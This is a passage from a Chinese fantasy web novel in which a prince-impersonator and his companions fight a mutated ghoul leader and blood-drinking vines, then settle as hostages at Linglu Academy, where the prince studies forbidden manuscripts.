春江明湖也感觉到强烈的危险气息:“噬血藤”春江明湖眉头皱起来,这种暗红色仿佛凝固的血液似的植物让人相当头疼,数量众多,只能用火焰墙开一条道路,但是那样也惊动山下的赤肌鬼。
四周的山嵴都像凝固的血液一样,长满这种噬血藤,山谷里都有赤肌鬼,山上的路都让噬血藤封住。
火焰墙就要熄灭,噬血滕蠢蠢欲动,数十根藤茎贴着地面伸来,尤溪将长矛交到左手,将腰间的红袖刀拔在手里,隔空一划,一道凛冽的刀气将这数十根噬血藤斩断。斩断下来的噬血藤扭动着,渗出暗红色的液色。
素鸣衍探头往山崖下望了一眼,湖里的凶险不会比山嵴上的噬血藤差,探头往前面的山崖看去,噬血藤从山嵴上披挂下去,但是蔓延到半山腰,就嘎然而止,形成一道明显的界线。
“呜……”小紫狻伸出前肢踩了踩噬血断藤,那截断藤缠上来,吓了它一跳,低吠了一声,跳了回来,低头将缠住前肢的断藤咬住,抽下来甩到一边。
素鸣衍说道:“噬血藤的生命力极强,为什么只长在山嵴上。”
春江明湖听他这么一说,有所触动的仔细观察起来,说道:“赤肌鬼用噬血藤封锁将四周的山嵴都封锁起来,里面的山谷一定有我们感兴趣的东西。”
“什么限制噬血藤继续往下蔓延”尤溪蹲下来,捻着地上的软泥,“噬血藤的繁殖力极强,一根断藤在极短的时间里就能覆盖住一座山头。”
“这里的噬血藤生命更强。”素鸣衍盯着那根让小紫狻甩落的断藤,断藤以肉眼可见的速度正往地里钻,反手抓住,小心不让倒刺伤着,将断藤丢到山下的湖水中去,“这也说明有更强的限制阻止噬血藤继续往山下蔓延,赤肌鬼竟然能控制吸血藤的生长,真是出人意料啊。”
遇到的情形让人越来越忧心,春江明湖也不掩饰语气里的沉重:“噬血藤缠住人畜,将倒刺扎入人畜的体内吸食精血,秋浦郡曾暴发噬血藤之灾,秋浦东部山地里的数百个村庄几乎没有人能逃出来,迦南为将这些噬血藤清除干净,费了极大的力气。如果赤肌鬼能够控制噬血藤的生长,对青岚、迦南两国绝对不是好消息。”
众人小心翼翼的沿着噬血藤生长的边缘地区往东潜行,还是不可避免的清除了几拨挡道的普通赤肌鬼。走到这座山岭的东岭,四人才看清湖岸坡谷里情形,从斜下去的坡谷里,有一座巨石堆垒的建筑。
虽然简陋,素鸣衍还是一眼看出那座建筑的作用:神庙!
赤肌鬼的神庙。神庙相当简陋,如果不是突兀的出现在芳草萋萋的谷地里,众人或许会认为是一堆毫无意义的巨大石块,虽然有门庭,但是墙壁凹凸不平,堆垒的巨石连简单的切害打磨都没有,风格相当的粗犷。
素鸣衍有一种啼笑皆非的感觉,连这种邪恶低等的种族竟然也会有信仰,不知道赤肌鬼所供奉的邪神是不是也像赤肌鬼一样以腐肉为食。
一路上一直很安静的小紫狻,这时眼睛里露出警惕的神色,盯着那座粗陋的神庙,喉管里发出低沉的嘶吼。素鸣衍半蹲下来,轻抚小紫狻的颈毛,让它安静下来。
春江明湖身子勐的一震,吓了素鸣衍一跳,只见春江明湖嘴角渗出血迹,缓缓睁开眼睛,里面的神光黯淡许多:“石殿里有强大的邪恶气息,我的神识刚潜进去,就给它截住。”
尤溪问道:“赤肌鬼信仰的邪神”
春江明湖不能确定,说道:“还没强大到不能对付……”
春江明湖的话音没落,从神庙钻出一只异常高大的赤肌鬼,它一出现,周围的赤肌鬼就围上来,相形之下,素鸣衍才真正看出他的高大来,它比周围的赤肌鬼高了一倍。
这只赤肌鬼一年前还是一只普通的赤肌鬼,跟其他二十多只赤肌鬼挤在一座狭窄的石穴里,每日浑浑噩噩的猎食休眠,一夜醒来,它突然意识它与别的赤肌鬼的不同,一个不属于他的记忆在它的体内复苏。复苏的记忆帮它获得寻常赤肌鬼不具备的能力,枯木一样的肌体变得灵活,却更加坚韧,体内涌动着无穷无尽的力量,这种能力每天都在增加,不仅让它在赤肌鬼里没有对手,附近山岭里的泽鼠、四爪貘、豹猫、独角蛟、羽蛇都不是它的对手,当它将这片山地的王者白金角蟒打败,峻衡山东麓山地的赤肌鬼都受一种神秘的召唤,聚集到它的周围。它发现并不是它一只赤肌鬼发生变异,只是别的赤肌鬼从变异里获得的力量比不上它。
看到那只异常高大的赤肌鬼出来,四人再不犹豫,立即循着来时路退了回去,只听见身后的嘶吼声震盈山谷,素鸣衍回头望了一眼,数十只赤肌鬼空手赤足的攀登崖壁,那只赤肌鬼快捷异常,转瞬间就领先其他赤肌鬼七八丈。
素鸣衍看了春江明湖一眼:还能对付四个人合力勉强能对付它,它后面的数十只高等赤肌鬼呢
这时候山嵴上的噬血草也出现异常,正迅速往山下蔓延,将四人的道路挡住,山崖北侧峰谷游弋的赤肌鬼听到山谷里的嘶吼,也迅速聚集起来,看到四人在半山腰间迅速奔跑,涌上来拦截。
前面有阻截,后面那只赤肌鬼的速度又异常快捷,不可能成功逃出去,素鸣衍大声喊道:“上山。”
春江明湖、尤溪、白术三人脚下旋停,迅速明白素鸣衍的意思:未必所有赤肌鬼都不怕噬血藤。
春江明湖手举法杖,连续射出两道火焰之墙,从噬血藤里烧出一条通道,四人冲入噬血藤丛里。前面阻截的赤肌鬼果然对噬血藤有所畏惧。几只收不脚的赤肌鬼让噬血藤缠住,顷刻之间,让红褐色的噬血藤覆盖住。
第二卷:第05章,灵麓学院(1)
山嵴直削下去,笔直垂到湖中,灰白石灰岩崖的上半端覆盖着红褐色的噬血藤。
素鸣衍将那枚独角蛟的晶核递给春江明湖,蛟珠在春江明湖手里发挥的作用更加。春江明湖用念力在周围维持直径一丈的火圈,将噬血藤挡在外面。
那只异常高大的赤肌鬼扒开噬血藤的纠缠正疾步往山嵴奔来,还好其他的赤肌鬼被噬血藤挡在外面。
素鸣衍看了春江明湖一眼,这只赤肌鬼虽然强大无比,可也不大像赤肌鬼供奉的邪神。
春江明湖皱起眉头:“那股庞大的邪恶气息似乎从它身上消失了。”
小紫狻的脾气一下变得异常的暴躁,喉管里发出低沉的吼叫,呲牙咧嘴,威风凛凛的站在素鸣衍的身前。
素鸣衍右手持矛,将长击刀换到左手,说道:“噬血藤对它不是没有影响,春江大人,等它上来,你用火焰墙护住后面就行,前面交给我们。”
听了素鸣衍的话,春江明湖将法杖一收,四人身前的半圈火焰之墙渐渐熄灭,噬血藤的茎须就像蛇信子吐出,迅速逼过来。
赤肌鬼的速度更快,化成一团红褐色的影痕,直往素鸣衍撞过来。素鸣衍将手里长矛一抖,精钢铁矛散发出淡淡的金光,素鸣衍动用戳刺技能,将檀渊逆鳞劲的丹力运到长矛上,迎着那团扑到眼前的影子一捅。
素鸣衍感觉矛尖戳到赤肌鬼身上却是一滑,根本没有击实地方,让赤肌鬼将长矛里的力量卸掉。尤溪挥动手中长矛,与白术一左一右朝赤肌鬼攻去。
这只赤肌鬼身上长红褐的鳞片,就像一滴滴血液凝固在身上,细鳞覆盖赤肌鬼的全身,只有眼睛等少数的地方没有覆盖鳞片,这只赤肌鬼比素鸣衍高出一倍,身形又快捷无比,三人根本无法将他限制在合击的圈子里,素鸣衍虽然每次都击中这只赤肌鬼,但是最多在它身上留下白痕,根法无法伤他半分。
赤肌鬼似乎不畏矛攻,也不格挡招架。尤溪仗着力沉矛坚,每一击都将赤肌鬼震退,不让它逼上来。
小紫狻扑上去,咬住这只赤肌鬼的小腿肚子,“吱咯咯……”刺耳的声响,好像锐利的东西正在滑过琉璃。赤肌鬼抬腿一甩,将小紫狻甩到十六七丈之外,吞吐蛇信子一样的噬血将小紫狻瞬间吞没。
素鸣衍揪心望过去,那团噬血藤剧烈抖动,小紫狻正在里面激烈挣扎,素鸣衍矮身后退一步,正要将凝出的火焰之箭往那处掷出,噬血藤里扎出无数紫色的毛针,噬血藤仿佛吃痛的迅速缩回,露出全身紫毛炸开的小紫狻。
见小紫狻不畏噬血藤,素鸣衍将凝出的火焰之箭往赤肌鬼头部掷去,赤肌鬼抬手一挡,溅出一蓬火星。
素鸣衍喊道:“它怕火,用矛刺它还没见他招架呢。”
春江明湖闻声就在赤肌鬼与尤溪之间燃起一道火焰之墙,赤肌鬼犹豫了一下,才又冲上来。
虽然伤害甚微,总比没有毫无伤害强。
小紫狻让赤肌鬼一脚踢飞,心有余悸,从噬血藤丛里挣扎出来,就没有继续冲上去,而是愤怒的嘶吠。
可惜小紫狻还没成年,不然一口一个混沌火魄,定能将这个赤肌鬼老大轰得面目全非。
春江明湖根本没有时间准备高阶的术法,素鸣衍知道自己一发发火焰之箭射过去,对赤肌鬼老大的伤害也实在有限。
素鸣衍将长矛扎在泥里,将长击刀换在右手,退到春江明湖身后,说道:“我与小尾挡住噬血藤。”
春江明湖弹出一枚火焰箭,击中赤肌鬼前额;赤肌鬼吃痛的怒吼着。
长击刀长三尺六寸,刀嵴最厚处才三厘三毫,紫色偏淡的刀体在铸造时渗入精金,刀刃锋利如剃刀,锋锐的刀刃割裂空气似的发出锐响,将贴着地面延伸进来噬血藤悉数割断,偶有漏进一两根,也有小紫狻将扑上去嘶咬粉碎。
尤溪、白术与赤肌鬼缠斗,激烈缠斗激发出来的劲气,吹得众人发飞如蓬,也让噬血藤无法逼近,素鸣衍只要护住春江明湖一人,让他有时间准备术法。
春江明湖将炎狱之杖高高举起,混沌元素之力就像让石子击碎的平静湖面,杖头滋滋打出紫色的电火花,素鸣衍回头窥了一眼,正想炎狱之杖所聚集的威能何时释放,吞吐紫色电火花的杖头突然吐出紫色火舌,一团暴烈的光芒从火舌中窜出射向赤肌鬼。
赤肌鬼的左肩像是给巨力撕开一道口子,只渗出少许的红褐血液,却痛得赤肌鬼嗷嗷大叫。尤溪见机不可失,反手抽出断袖刀,蹬踏纵起约有一丈高,上升之时,飞身旋转,人到最高点,左手的断袖刀耀出刺目的红艳光芒,内藏无比强烈的旋斩之势噼斫而下,正砍在赤肌鬼左肩的伤口上。劲气吹得噬血藤枝断叶散。
只听见坚硬玉石给噼裂的脆裂响声,断袖口从赤肌鬼左肩陷下八寸,可惜力穷而止,没能将赤肌鬼的整只膀子御下来。
赤肌鬼怒吼一声,转身逃命,断袖刀还嵌在它的肩膀上。下面的赤肌鬼似乎也意识到它们的老大陷入危险之中,疯狂的冲进噬血藤丛里,将缠上来的噬血藤扯断,用蛮力开辟出一条道路,向山上冲来。
此时不走,更待何时
春江明湖高举法杖,射出一道火墙,噬血藤忙不迭的收回茎须藤蔓,春江明湖施术法的空隙,素鸣衍、尤溪、白术就用劲气将噬血藤逼开,小紫狻毛发炸开,就像一团钢针,又不怕火烧,冲在最前面。
冲出噬血藤丛,山的西面也聚集了上百只赤肌鬼,不过都是外围巡哨的普通赤肌鬼,赤肌鬼头人也没几只,在尤溪、白术、素鸣衍三人暴烈的攻击下,肢残血溅,如果不是后面的大量的高级赤肌鬼正绕过山脚追来,四人倒有心将这群赤肌鬼歼灭,以消刚才的窝囊气。
四人不知藏金、易非天他们走出多远,不敢循着进山的路线走,让大量的高级赤肌鬼缠上,他们四人都无法保证脱身,引到易非天那里,必定会有伤亡。
四人慌不择路,辨认方向,直接翻过一道道山岭,往南逃去。
路上虽然有赤肌鬼拦截,但都是低级货色,天黑了许久,四人也不知奔跑了多久,只到撞入一群山狐的老窝,才确定出了赤肌鬼的地盘。
四人将死前张牙舞爪的山狐填入腹中,才有空闲来回味白天的惊险。
尤溪将红袖刀的空鞘递到素鸣衍的眼前,为难的说道:“卑职过失……”
素鸣衍将手一扬,不让他继续说下去:“要不是你当机立断,我们四人只怕要给那只赤肌鬼缠死。”心里却怕今天的表现太出色,让他们三人有所怀疑。
春江明湖、白术与之前的檀那明河也没接触,只有道听途说的大概印象,虽然诧异他优秀的表现,也没想到别处去。是啊,谁会想到现在的檀那明河竟然是假冒的
半年来,他的行为让尤溪惊诧的次数太多了,也习惯了:经历巨变的明河殿下,身上爆发出旁人难及的潜力。天赋力量的觉醒,总是与奇迹相联系。
众人没有按计划穿越赤肌鬼的聚居地,直接翻山越岭,出了东麓山地,却是易非天、藏金等人比较慢,两天之后才到峻衡山东南的疏勒城与他们汇合。
听素鸣衍说完遭遇赤肌鬼老大的事情,石川华后悔没有坚持跟过去看看,比常人还高一倍、尤溪全力也不能刺伤的赤肌鬼,已经完全超脱世人对赤肌鬼所有的概念。
“神祗,赤肌鬼真的会有自己的神祗”石川华有些将信将疑,就是下位神祗也不是人力所能对抗的,何况这片大陆已有千年未有神迹出现了。
春江明湖想着别的事,愣了一会儿,才发现大家都将目光盯着他的脸,说道:“跟天赋觉醒的方式类似,赤肌鬼种族发生异常,某些被选中的赤肌鬼获得非凡的能力,赤肌鬼的神庙之中,存在着强大的邪恶气息,我游离心识想要探察神庙里有哪些东西,没想到给觉察出来,那部分心识给里面的邪恶存生击散,神识损失,要大半年才能弥补回来……”
用心识观察外相,在这点上,武者与术士的目的相同,都是跨越地阶极限所必备的手段。
易非天思虑严谨,听了春江明湖的话,说道:“那只赤肌鬼并没有控制噬血藤的能力……”
春江明湖说道:“或许赤肌鬼只会控制噬血藤的生长,对噬血藤的行为却无法控制,毕竟噬血藤介于植物与动物之间,就有具备意识,却永远不会发展出智力来。”
尤溪说道:“春江大人曾说过,那只赤肌鬼身上没有庞大的邪恶气息,神庙是不是还有更强大的存在”
四人遇到那只赤肌鬼算起来已有七阶武士的实力,只是不知道有没有专用的技能。
第二卷:第05章,灵麓学院(2)
四人遇到那只赤肌鬼算起来已有七阶武士的实力,如果还有更强大的存在,赤肌鬼种群的实力真让人难以想像。
春江明湖说道:“类人种族的异化,百年前就有迹可寻。扶桑岛位于新月海湾以东的海域,楼迦罗人在那里栖息,也是在极短的时间里发育出氏族文化,信奉一个名曰天照的低阶邪神。”
素鸣衍想起经文图鉴里的楼迦罗人的样子:与普通赤肌鬼一般高矮,肌肤上布满青黑色鳞片,腋下长着跟肤皮同一颜色的羽翼,嘴吻骨向外突出,就像鸟的长喙,世人都称它们为鸟人。
易非天可不想用“楼迦罗”这样文雅的词,直接说道:“鸟人的异化导致新月海域出现以鸟人为主体的海盗群,河港联盟的军事力量大半用来对付这些邪恶的让人憎恶的鸟人身上。”
几名同龄的少年身上,大概只有易非天最具有军事方面的智慧,他的担忧并非空穴来风,赤肌鬼的异化,已经有充足的证据相信它们种群内部出现氏族文化,又是一个邪恶的下位神祗的气息出现在人世间。
这样的事情足以让人忧虑了。
春江明湖说道:“我会立即建议军事院,增加镜城方面的防御,如有可能,我会建议国主,与青岚缔结更紧密的联盟,以应付峻衡山东麓严峻的事态。”
素鸣衍见他说完将目光落在自己的脸上,愣了一会,才想起自己的所扮演的角色来,说道:“明河也愿意促成此事。”
迦南为南部的民乱,青岚为了北面的敌国,怀着这样的目的,两国才缔结裁减边防驻兵的协议,互相质子。
赤肌鬼种群的异化,使得两国不能在边境上大规模的裁兵,要想达到缓解边境的压力,只有缔结更紧密的盟约。这样对六殿下在迦南的处境无益有很大的好处,尤溪与白术换了个眼色,觉得殿下一定要跟着进山,也算有先见之明。不然的话,迦南将赤肌鬼种群异化的危害导向毫无防范的青岚境内也说不定。
离开七天后,众人重新返回镜城。尤溪连夜写出赤肌鬼种群异化的调查文书,素鸣衍转动食指上的那枚王者之戒。素鸣衍在碎叶被册封为羽嘉郡王时,随册封文书一起进入碎叶城的还有这枚王者之戒。
素鸣衍取下秘银制造的王者之戒,将戒环上的那段箴言“羽嘉王的权势与威严,皆是大神摩诃授予”压印在文书的右下,署上名字。
在法定程序上,素鸣衍才是真正的羽嘉郡王,册封时,内府司采集的是素鸣衍的签字样本。虽然几个月来,素鸣衍一直在模仿檀那明河的字迹,但真正作为法定签字样本的,却是素鸣衍自己的。
如此一来,只有帝君才有资格置疑羽嘉郡王的身份。
素鸣衍离开青岚已经过了将近一个月的时间,还在为摩揭伯岑的安排赞叹不已。素鸣衍坐在柔软的锦榻上,转动右手食指上的戒环,银灰的毫光使这枚戒环看上去没有显眼的地方。
素鸣衍凝重的神情,让依在他身边的阿黛看在眼里有些揪心:“殿下以前没心没肺,一下子就成熟起来,阿黛到现在还有些适应不了。”
“让采儿来侍候吧,你在这里,我怎样也无法安心看书的。”
“殿下想让采儿侍寝吧,采儿未经人事,要不要阿黛帮殿下先调教一番”
素鸣衍捧起阿黛精致绝美的小脸,凝视她琥珀色眸子里的温柔,颇感疑惑的抬头仰视大厅顶壁上的吊塑,或许阿黛认定自己只有侍妾的命,连女人的疑妒也不敢流露出来。
“算了,谁也不要进来了,我一个人考虑点事情。”
“殿下是眼下的身份担忧吧。”
素鸣衍愣了愣,旋即明白阿黛的意思。
迦南的国势不比青岚弱,但是一百多年的两次败仗,使得迦南现在还是青岚的属国,迦南国主称王不能称帝,国内封爵也没有王爵这一级。
素鸣衍临行时被册封为羽嘉郡王,使得他到达迦南之后,身份变得极其尴尬。
春江明湖在迦南身居祭酒、殿士、纳言数职,地位尊崇,已经是有限的数人之列,在素鸣衍的面前,还要谨守名义上的礼节。
与其说让羽嘉郡王进迦南为质,不如说是让羽嘉郡王去羞辱迦南群臣。素鸣衍真不知道帝都的谣言让多少人费尽心机。
与迦南雪柔公主在青岚受到的隆重礼遇截然相反,素鸣衍进入迦南几乎是悄无声息的。素鸣衍一行人没有进入王城,直接发抵达位于南城外的灵麓学院,即使素鸣衍只是名义上的王,迦南王也不能忍耐他进入自己的王城。
三百丈高的灵麓山是迦南东部的最高山脉,站在山顶几乎能够看见东面的云魇泽。素鸣衍他们被安排在紧挨灵麓学院的一处府邸,除了素鸣衍随行的侍卫,府邸内外都是迦南派出的侍卫,差不多有四五十人。
“你跟白术在我身边就足够了,其他人该去哪去哪儿,是不是府里的仆役都是迦南安排的人手”
尤溪听着他的声音带着很深的怨气,笑道:“这几乎是肯定的,不过贴身侍候的都是自己人,殿下不会感到不便,等江侍领回来,可以换上一批信得过的人手。”
江采离、藏金他们还留在镜城处理商队上的事。
素鸣衍叹了一口气,摆了摆手,说道:“算了,你们留在我身边就够了,就是在学院里,迦南大概也会淡化我的存在吧。”
“春江明湖的话里有这个意思,不过帝国若能与迦南缔结更紧密的盟约,殿下的处境会好许多。”
不能随意出入灵麓山,就是在灵麓学院的活动也将受到严格的限制,作为质子的生活,有如软禁。素鸣衍在经院里也受到严格的禁锢,但是现在尤其不能忍受,素鸣衍站在山巅,望着翻腾的云涛雾海,久久才能平复剧烈波动的心绪。
“缔结更紧密的盟约,江采离有什么看法”
“以换质为基础得来的信任是极其有限的,缔结更紧密的盟约,存在许多现实中的困难。”
“那就是说我们的境遇会一直如此”
声音严厉冷静,就是滴水之下的坚硬磨石,冷冰冰的质感,却给人坚定的感觉。尤溪暗叹:殿下真的成熟起来了。
素鸣衍拾步登上生满青苔的山岩上,望着远近的苍松虬劲,心里是一付难以描画的景象,忍不住长啸起来,声音凄厉孤寂,悠长绵延,就像山巅的龙吟虎啸。
尤溪听了不禁黯然神伤,殿下心里终是不甘寂寞。
山腰的石径让郁郁葱葱的苍松掩埋,一声凄厉孤寂的长啸传来,震得松针簌簌如雨,易非天与石川华站在石径上,诧然的目光透过松枝缝隙,望着山巅上掩藏在密林深处的飞檐画廊。
他们正结伴前往灵麓东山之巅拜访在峻衡山结下深厚友谊的檀那明河。
“这啸声好苦,”石川华疑惑的望着苍茫的云雾,“是明河殿下吗”
易非天一愣,他可听不出这啸声有多苦,只觉得啸声悠远绵长,喃喃自语:“真是檀那明河吗长啸之人至少有五阶武者的水准了。”
石川华大笑:“我可不管他到底有多强,他身上没有让人讨厌的臭脾气,我交定他这个朋友了。”
易非天眉毛轻轻的纠结着,想起让人忧心的事来:“我听父亲说,春江祭酒之所以会一反常规的要求檀那明河入质,是因为西北事务院的一封秘信,秘信里说檀那明河是青岚让人不得不瞩目的人物。”
“那是当然,明河殿下武技之强,在同年当属翘楚,但是亲历险地、不畏凶险、坚决果毅的品质,我可没有从迦南的少王们身上看到。”
“正是如此,春江祭酒才庆幸听从西北事务院的建议,如果檀那明河登上青岚帝位,青岚极可能再度崛起。”
石川华冷哼一声,没有应话,拾阶而上。
第二卷:第05章,灵麓学院(3)
石川华、易非天的到访,让素鸣衍心里的悒郁好过一些。
江采离、藏金抵达迦南国都之后不久,素鸣衍就以檀那明河的名义在灵麓学院正式入学,鉴于他的特殊身份,春江明湖亲自担当他的师者,引导他的学业与术法。
素鸣衍在峻衡山中的表现出不弱于五阶武者的修为,灵麓学院里的普通师者已不能给他有效的指导。青岚王族的秘学是不容他人觊觎的,学院为了避嫌,也不会给他安排武技上的师者。
春江明湖是迦南重臣,平日在王城参与军机国务,在学院的时间就极少,指导学业、术法只是一句空言。所幸灵麓书阁是迦南藏书最丰富的书馆,素鸣衍特殊的身份足以让他调阅里面所有的卷宗,但是术法体系博大精深,没有师者的指导,术法根基极浅的素鸣衍想要修行高阶术法只是妄想。
素鸣衍倒不介意,想当年在经院,为求一册书卷要费尽周折,哪里及得上此时的酣畅淋漓。他在书阁里有一间专用精舍,恨不得每天都让书卷埋在精舍里,每次都是尤溪三番四次的催促才与青菱恋恋不舍的离开。
青菱如今成了素鸣衍的侍读,每日都随素鸣衍出入学院。
府宅与学院有一道石径相连,星光从茂密枝的叶里漏下,落在素鸣衍、尤溪、青菱的身上。
“过了饭时,阿黛又要生气了。”
“让你们不要等我,身在迦南,大家都不要拘泥于礼数。”
“江采离回来了,正等殿下回去呢。”
“哦,怎么不早说我准备了许多问题留在书舍里,没有取出来。”
“江采离不让我早说,他说上次回来,一夜没睡踏实,殿下的问题已经超出我们的能力范围,不单江采离、白术,我也这么认为。”
这几个月来,尤溪说话也不再拘谨,素鸣衍笑了笑,问道:“商队的事情安排妥当了”
“商队的事情基本妥当了,有柳静安与罗思勉两人负责。受过殿下恩惠的几名高丘子弟也跟着过来了。”
“藏金也在里面”素鸣衍见尤溪点头,想起什么事的说道,“我听你说过藏金很有潜质,这次你就将他留在身边吧。”
尤溪微微欠着身子,将挡在素鸣衍身前的横枝拨开,说道:“尤溪尽力施教,可不敢包殿下满意。”
“不止武技,我可不缺侍卫,再说现在我也有能力自保。”
走出东山的府宅,里面传来沉闷的兵器相击之声,府宅有两道夹墙,加强防御力量,夹墙的护卫都是迦南的士兵,素鸣衍与尤溪穿堂越室,来到一处小庭院。
庭院原有一口鱼池,素鸣衍让人将鱼池填了,将植木移走,将这里当作众侍卫的校武场。白术领着侍卫练习对击,江采离、藏金等站在回廊里正注目场上对击的众人,见素鸣衍、尤溪进来,忙过来见礼。
“我今天读了一卷郡邑食货志,云里雾中,不知所谓,饭后你跟我粗略说一说。”素鸣衍看了风尘未去的江采离一眼,转身又对藏金说道,“藏金,你们也跟着听听,日后离开我,也可以学江侍离以前那般,做名私商倒也逍遥快活。”
藏金欠着身子,拘谨说道:“藏金誓死追随殿下。”
素鸣衍笑了笑,说道:“石川华、易非天他们倒想着你,你明天随我去学院见他们,日后你就留在这里,不知尤溪有没有资格指导你的武技”
藏金一怔,看着素鸣衍身后笑盈盈的尤溪,忙跪下来,说道:“多谢殿下成全。”又爬起来跪到尤溪面前行礼。
素鸣衍解开锦袍,刚要丢到青菱手里,青菱眉头一皱,甩手不接,将抄下的书卷交到旁边侍卫手中,说道:“帮你抄了一天的书,青菱饿死了,先进去找采儿了。”也不管他应不应,径直穿过抄手回廊,走到内院去。
江采离接过手抄书稿,看了里面一手娟秀字迹,嘴里啧啧称赞:“青菱做殿下的侍读,再是合适不过了。”正说着,脸色凝重起来,细细看起书稿里的内容,“这份书稿能借给采离研读两日”
素鸣衍说道:“书阁共七层,五层以上的书卷都下了禁制,费尽心机抄出来,你们看看有没有用。”
这么一说,尤溪也忍不住探过头去,诧然说道:“《血脉推演初究》”一脸凝重的让众侍卫都退出去,只让藏金留在身边。
白术探头过来,脸上露出难得的欣喜:“传闻灵麓学院的师者会将基础领域研究的书稿留在书院里珍藏,虽然不是什么秘学绝传,我们修行已经成形,就是有秘术绝学放在眼前,也没可能重新修炼,倒是这些资料对我们而言更加珍贵,以后修行会少走许多弯路。”
尤溪抑心里的激动,说道:“原以为今生再无机会一窥天阶的境界,多亏殿下念着我们。”
素鸣衍摇了摇头,说道:“五层以上的书稿很多都是用贝叶古文字书写的,我可认不得,让青菱译成今文,心想书阁费尽心机收藏,必有珍贵之处,一看之下,只觉得普通得很,还是青菱让带出来给你们看一眼。”
尤溪说道:“殿下还没有遇到地阶的瓶颈限制,所以觉察不出书稿的珍贵,尤溪三十八岁达到六阶的瓶颈限制,这时回到修行的起点重新推敲修行的根源,才是突破瓶颈限制的根本方法。数年来,尤溪独自修行,只能在武技的精妙处求变,却一直没有突破,乃是限于自身,这些书稿都是那些努力突破地阶限制的先辈们留下的体验心得,自然弥足珍贵。”
素鸣衍哈哈一笑,说道:“你们都得去谢青菱,这些贝叶古文字,你们当中可有人认得我让青菱将五层以上的书目都写下来,你们挑选一些紧要的,让青菱给你们都抄下来。”
殿下与羽嘉总督争青菱的事,在青岚早就传遍了,但在江采离、尤溪等人的心目里,青菱依然是来历神秘的少女,不过众人对她都生不出恶感。素鸣衍坚持将青菱留在身边,别人虽然有顾虑,但也没有坚决反对。
素鸣衍知道青菱在黑砾原里的地位绝对不低,不然也无资格代表黑砾原与羽嘉总督联姻。青菱虽然是黑砾原渎神之民的后裔,但是博闻广识,并且精通极少会花精力去掌握的贝叶古文字,灵麓书阁里的藏书,倒有一小半是青菱曾经读过的。
素鸣衍怀疑她读书太多,以致没有时间修行,不过由她来做自己的侍读,再是恰当不过了,许多疑难困惑,青菱都能解答。拿青菱也无法解答的问题,江采离等人也常常无法回答。
所幸有青菱在身边,素鸣衍才能迅速顺利阅读书阁里的藏书,但是青菱严守黑砾原的机密,任凭素鸣衍旁敲侧击死缠软磨,就是不透露一丁点。
素鸣衍听青菱说过,卢笛凭着鳞甲功跟百年紫狻肉博也只吃了点小亏,心里十分羡慕。青菱心思单纯澄静,对素鸣衍的身份完全不会起疑,要想修炼高阶武技,只能在青菱身上打注意。
饭后,素鸣衍将阿黛、采儿都打发掉,只让青菱在屋里侍读。
橙红的灯焰下,青菱俯着身子将小紫狻夹在脚下,将它颈上的长毛编成辫子。小紫狻呲牙咧嘴,拧过头要去咬青菱白腻的小手,却让她扯住耳朵,喉管里低声呜咽,希望素鸣衍看过去,替它解围。
青菱无意间抬头,却见素鸣衍灯下的眼睛灼灼如燃,正凝目看着自己,吓了一跳,捂着心口,问道:“殿下,怎么这样看着青菱,青菱吓了一跳。”
小紫狻得脱苦海,抖了抖紫色长毛,忙钻到素鸣衍的脚下,趴在他的软靴上。
“听你说过黑砾原有一种鳞甲功,如何修炼,你说来听听。”
“殿下说过不问黑砾原的事。”
“你不希望我返回青岚帮助你的族人走出黑砾原”
“殿下是青岚王族,怎可能帮助渎神之民……”
素鸣衍摸了摸尾指上的戒环,他只认得一句贝叶古文,就是戒环上的箴言:羽嘉郡王的权势与威严皆由大神摩诃正教授予。
青菱的族人都是摩诃正教以大神摩诃的名义驱逐的渎神之民,檀那琉大帝皈依摩诃正教,使得青岚王族的法统地位需要得到教廷的确认。
素鸣衍嘿嘿一笑:“明里当然不行,不行我这郡王也当不成,不过暗地里的事,谁又知道呢摩诃大神在天界也没有几只眼睛啊。”
青菱精致绝美的脸上犹豫不决,小巧的头颅下来,似乎问题太复杂,素鸣衍一把将她拉进怀里,下巴搁在她的如云秀发上,轻轻嗅着发际的幽香。
青菱手撑着他的胸口,将自己从他的怀里推开:“殿下想知道鳞甲功也行,可不能再欺负青菱。”见素鸣衍的目光像舌头一样舔上来,小脸渗了血似的通红,气息有些乱了,“不过鳞甲功离开黑砾原也练不成,黑砾原的冬季刮着可以吹裂坚石的暴风,小扈他们都是在暴风中练功的,鳞甲功就像黑砾原人的天赋技能,一点也不妨碍施展其他技能。”
第二卷:第05章,灵麓学院(4)
素鸣衍听青菱将鳞甲功的修练要诀说了一遍,脸上流露出失望之色。
离开黑砾原那种艰苦卓绝的环境,鳞甲功只能算得上旋凝气甲的进阶技能。旋凝气甲将气盾化为无数的密集鳞片防护周身,对于素鸣衍而言,这种技能只能算是垃圾,迅捷的动作,只要拳头大小的气盾,就能防住全身的空隙,而且丹力的凝实程度,绝非旋凝气甲能比。
素鸣衍叹了一口气,追求高阶的武技,还不如在武道的境界有所突破。
但是在黑砾原那种艰苦卓绝的环境下练成的鳞甲功绝对是一门绝学,严格说来,卢笛也没有超越地阶的瓶颈限制,但是只要九重鳞甲功的防御不能破开,卢笛就能肆无忌惮的攻击敌人。
素鸣衍想起那日与春江明湖、尤溪、白术四人合力才击退的异化赤肌鬼,想来卢笛就能轻松自如的应付。
青菱看着素鸣衍脸上流露出失望之色,心里好奇,问道:“青岚王室秘学是天下第一武技,当年的琉大帝籍之成为三百年来最接近神的人,你不好好修炼,却对别的武技感兴趣”
素鸣衍苦笑道:“檀渊逆鳞劲是不差,可是全套的功诀只会传授给将来的帝君,凭着残缺的功诀,突破地阶都不可能。”
这话不假,不过素鸣衍连残缺的功诀也没有,只有总诀与基础丹力的修炼功诀,他现在除了体内的丹力是正宗的檀渊逆鳞劲之外,发挥檀渊逆鳞劲无上威力的特殊武技一概不会。
青菱想起他的质子身份,看着他脸上有些黯然,当素鸣衍再一次将她揽入怀里,还没躲开,而是温顺的将脸贴在他的胸口。
素鸣衍诧异的那么一小会儿,就让别的事情岔开旖旎的心思,霍然站起,拽着青菱的小手就往屋外走去,小紫狻晃了晃脑袋,没有将沉重的睡意甩掉,见素鸣衍也没让它跟着的意思,又趴下头颅眯眼睡去。江采离、尤溪、白术三人让素鸣衍带回来的那份手抄书稿迷住,此时不知到那里去了,只有两名侍卫守在门外。
穿过中庭时,藏金正在那里与几名高丘子弟练习进击之术,轻云笼罩下,额头的汗水折射着暗晦的月辉,见素鸣衍与青菱出来,忙过去问安。
“你们当中有几人掌握旋凝气甲”
藏金说道:“属下勉强能用出来。”
“你跟我们出去,其他人留在这里继续练习吧。”
